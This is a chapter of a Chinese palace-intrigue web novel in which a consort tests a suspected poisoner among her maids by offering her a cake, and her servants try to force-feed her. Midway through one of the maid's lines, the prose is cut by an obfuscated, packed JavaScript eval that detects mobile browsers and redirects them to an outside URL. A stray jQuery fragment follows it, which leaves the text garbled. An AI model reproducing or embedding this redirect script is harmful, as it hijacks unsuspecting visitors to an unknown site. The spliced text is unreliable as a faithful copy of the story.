听得江昭问她,乐雪边笑边望向醉琴:“娘娘可真敏锐,非是我的功劳,是醉琴的主意呢。前几日,醉琴和奴婢聊天时,就说发现娘娘精神头不好,让我们一起多劝劝娘娘,去外头散散心。总闷在殿里,心思容易郁结,对身体不好,奴婢觉得很有道理呢。”旁边的醉琴低头抿嘴笑着,似乎被夸得有些不好意思:“娘娘还说呢,可把奴婢们急死了。”
江昭看着二人打趣,点头认可道:“原来如此,醉琴一向妥帖。”看起来乐雪没什么问题,江昭沉思。乐雪和醉琴毕竟都是为了她着想。
“只是我身子实在不适,就不去了。今日皇后抱病,难得不用请安,不如休息会儿”,江昭找借口回绝了去御花园的提议。遭逢大难,她现在本能的想避开四皇子,避开危机四伏的御花园,只要避开,那些污蔑、那些质问,应该就能片叶不沾身了吧?没了她那块糕点,四皇子也能安然无恙了吧?
幕后黑手必定早已在御花园布下天罗地网,只待她自投罗网。想来那人定然满心期待,却不料她并不踏足那局。江昭忍俊不禁,险些笑出声来,这出精心策划的阴谋,终究是落了空。
只是,她还有一个疑惑,提膳的明明是乐雪,怎么穆妃却说招供的是云岫?云岫又不提膳,怎么吩咐小顺子下的毒?云岫又为什么无中生有,编造了那些她嫉妒贤妃的话。
上一次她亲眼目睹四皇子吐血,一直焦急地跟在太医身旁,查看四皇子情况。被扣在坤宁宫中后,她所有的宫人都被打入慎刑司审问,她想护住他们却护不住。
难道是云岫被屈打成招,为了免除责罚,匆忙认罪?还是有人买通了云岫,让她作伪证。这一切的一切,究竟是怎么一回事?江昭的目光不自觉地落在食盒上,谁能想到如此平常的一顿膳食,就被人悄无声息地下了无色无味的断肠毒药呢?菱角糕之事,始终是江昭最放心不下的,每每想起,便觉着毛骨悚然。
“我依稀记得,今日是你去御膳房提膳,是吗?”江昭不动声色问道。
“奴婢临时有事,让云岫去了。”乐雪回答得有些迟疑。
江昭打量着乐雪的神情:“可食盒是你提进来的。”
乐雪道:“云岫回来时,将食盒交予奴婢,奴婢才将食盒提了进来。”乐雪紧张道:“娘娘,是点心有什么不对吗?
现下身在偏厅,门户大开,不知道有多少个宫嫔的眼线正关注着,还不能暴露自己已经知道菱角糕被下毒之事。
为免打草惊蛇,江昭按捺下想要发作的心,淡淡道:“并无。醉琴,你去外头找找,将云岫和小安子叫进来。乐雪,你提着点心跟我进来,其余人等先退下吧”江昭边说边挑起珠帘,走进内室。掌事姑姑入画闻言轻轻地行了一礼,离开了偏厅。
踏入内室,江昭便面容一肃,沉声问道:“乐雪,可是我待你不好?你为何背叛我?”
乐雪微微一愣,急忙屈膝跪下,诚恳道:“奴婢不敢!娘娘这话从何说起?奴婢打小便陪在娘娘身边,一心一意侍奉娘娘,绝无二心。若有半句虚言,愿受天诛地灭。”
江昭微微蹙眉,眼神中带着一丝审视与不解,叹道:“我一向信你。只是,你为何瞒着我,不将实情告知?难道你不知,宫中之事,稍有隐瞒,便是祸端?”她微微俯身,目光直视乐雪的眼睛:“你且如实说来,为何是云岫去取的膳食?”
乐雪双手紧紧攥在一起,有些慌乱和急切:“娘娘容禀,云岫说御膳房有个小太监是她的同乡,她思乡心切,总想着去说说话。一来二去,二人之间也有几分好感。奴婢与云岫关系好,想着成全她的心愿,又怕这事说出来,众人知晓便不好了,所以先前没说。从前也有过几次,奴婢本以为没什么的,绝非有意欺瞒。”
江昭失望道:“乐雪,你可知这宫中之事,牵一发而动全身?云岫与那小太监的往来,我并非不能容,但你隐瞒不说,若出了事端,岂不是将我置于险境?”
江昭微微顿了顿,接着道:“你可知,那菱角糕里,被人下了剧毒?”
乐雪闻言,惊得目瞪口呆:“什么?是谁要害娘娘性命?对了,云岫……是云岫吗?奴婢要去找云岫!”
江昭制止道:“急什么,醉琴不是去唤云岫和小安子了?你且按捺住你的脾气,待会儿可别露出什么声色来。”
说完,江昭偏过头,目光投向窗外:“你素来忠心,可你如此行事,让我如何放心?”
乐雪自责道:“娘娘,对不起,是奴婢的错,奴婢不该躲懒,更不该自作主张。娘娘曾说云岫也是江家的人,是可信的,奴婢就以为此事无妨,才铸成大错。求娘娘责罚奴婢吧。”
江昭轻轻将乐雪扶起,“说什么责不责罚的,深宫寂寥,只有你们守着我,我怎么舍得罚你。只是下次小心些,眼睛擦亮了,帮我揪出那些心怀鬼胎之人。这次我险些错怪了你。往后,我还要靠你呢。”
乐雪哽咽道:“娘娘安心,奴婢以后定当小心谨慎,绝不再让娘娘失望。”
不多时,醉琴带着云岫和小安子来了,“给娘娘请安,不知娘娘有何吩咐?”
“都起来吧”,江昭开门见山,“云岫,本宫有话要问你。今日可是你去提的膳?”
云岫不意她如此问,眼中闪过一丝慌乱,不由自主地看向乐雪。见乐雪故意避开她的目光,云岫心中一紧,忙道:“是奴婢。”
江昭见状,心里有了计较,微微一笑,语气轻描淡写却暗藏锋芒,“云岫,今日你去提的点心不错,可惜本宫没什么胃口。有福同享,这样,既是你提回来的,便先赏你吃一块。”她将一块菱角糕轻轻拈起,递给云岫,眼神却锐利如刀,紧紧盯着她的反应。
云岫微微一愣,随即露出感激的表情,未曾接,却看向乐雪,“多谢娘娘,只是这菱角糕,乐雪姐姐一向喜欢,不如留给乐雪姐姐吃吧。”
乐雪闻言有些恼火,江昭给她使了个眼色,乐雪方才忍住。她厌恶地看着云岫:“娘娘说要赏你,你吃就行了。你还做起娘娘的主了?娘娘一向疼我,我哪里就少这一块呢?倒显得我欺负你似的。”
江昭安抚道:“有功当赏,你安心吃了便是。不必担忧乐雪,本宫还给她留了许多呢。”
云岫踌躇,只得上前双手接过菱角糕。
见众人的目光都聚焦在自己身上,不禁有些局促不安。她低着头道:“只是奴婢还要当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118395|180024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
差,嘴角沾了糕点碎屑不美观,且奴婢不愿把娘娘内室弄脏了”,说着,她取出一方素色手帕,小心翼翼地将菱角糕包了起来,动作轻柔而谨慎,“奴婢将这糕点包在手帕里,回去……慢慢吃。”说罢深深一礼,便要离去。
乐雪早盯着她的动作,一下子便将她拦下,意味深长道:“诶?别着急走啊,这么好的东西,怎么能包起来带走呢?若再放一放,凉了、硬了可就不好吃了。再说,你当差当得辛苦,吃点东西补补精神,也是应该的。这儿又没外人,怕什么呢?快吃吧,别辜负了娘娘的好意。”
醉琴虽不知发生了什么,但主仆三人素有默契,也催促道:“怎么,娘娘赏你的,难道你还看不上不成?”
云岫咬了咬唇,无奈之下,只得展开素帕,指尖微微颤抖着捏起那块菱角糕,往嘴边送去。她微微张口,似是要咬下。可就在那糕点即将触碰唇齿之际,她的动作突然一顿。眼睛紧闭,脸上浮现出害怕的神色,仿佛被什么吓到一般。她的手颤抖得越来越厉害,再也稳不住,那菱角糕“啪”地一声掉落在地上。云岫立即跪在地上,声音带着哭腔,又急又快:“奴婢的手不小心抖了一下,奴婢不是故意的,不是故意的。是奴婢无福,娘娘恕罪!”
江昭好整以暇地看着,心中暗忖:云岫果然与此事脱不了干系。她倒是有几分急智,花样还真不少。看来她早知道些什么,倒不曾冤枉了她。能让江家的人背叛她,这幕后真凶的本事倒大得很。
乐雪喝道:“你这蹄子,怎么这么不小心,糟蹋了娘娘的心意!既是娘娘赏你的东西,容不得你不要。你若愧疚得很,怎不见你捡起来吃了?”
醉琴也指着地上那块菱角糕道:“云岫,你表忠心的时候到了。娘娘赏你的东西就在那里,还不快捡起来吃了。”
云岫只跪着不动,低低地哭着,不住地磕头,“娘娘恕罪……”
江昭冷笑:“不要紧,一块糕点罢了。掉了就掉了,哭什么。来,本宫再赏你一块。”
醉琴接到江昭的眼神,立即上前,半拉半拽,用力将云岫从地上“扶”了起来,并往前推了一把,“瞧你,怎么都站不起来了?娘娘喊你过去呢。”
云岫脸色煞白,看着江昭笑吟吟地拈起又一块菱角糕,好像见了鬼似的,丢了魂魄。她的脚步只勉强挪动了几步,便再也无法向前,僵在了原地。
乐雪喝道:“还不快去!”
云岫满脸都是冷汗,只杵在那里不敢动。
江昭微微挑眉:“磨磨蹭蹭什么?好像本宫欺负了你似的。”
醉琴嗤道:“做这副姿态作甚?倒像咱们逼你吃似的。你怕成那样,难道娘娘赏你的糕点有毒不成?”
乐雪冷哼一声:“同她费什么口舌,不吃是吧,我帮你。”
“小安子,摁住她,掰开她的嘴”,乐雪接过菱角糕就要往云岫嘴里塞。云岫不住地挣扎,试图躲避,乐雪道:“躲什么?你不是对娘娘忠心耿耿吗?不过是一块糕点罢了。”
云岫被小安子紧紧摁住,动弹不得,她眼中满是惊恐与绝望,拼命挣扎着,崩溃大哭:“不……不要!奴婢不敢吃!奴婢不敢!娘娘救命!娘娘饶命!”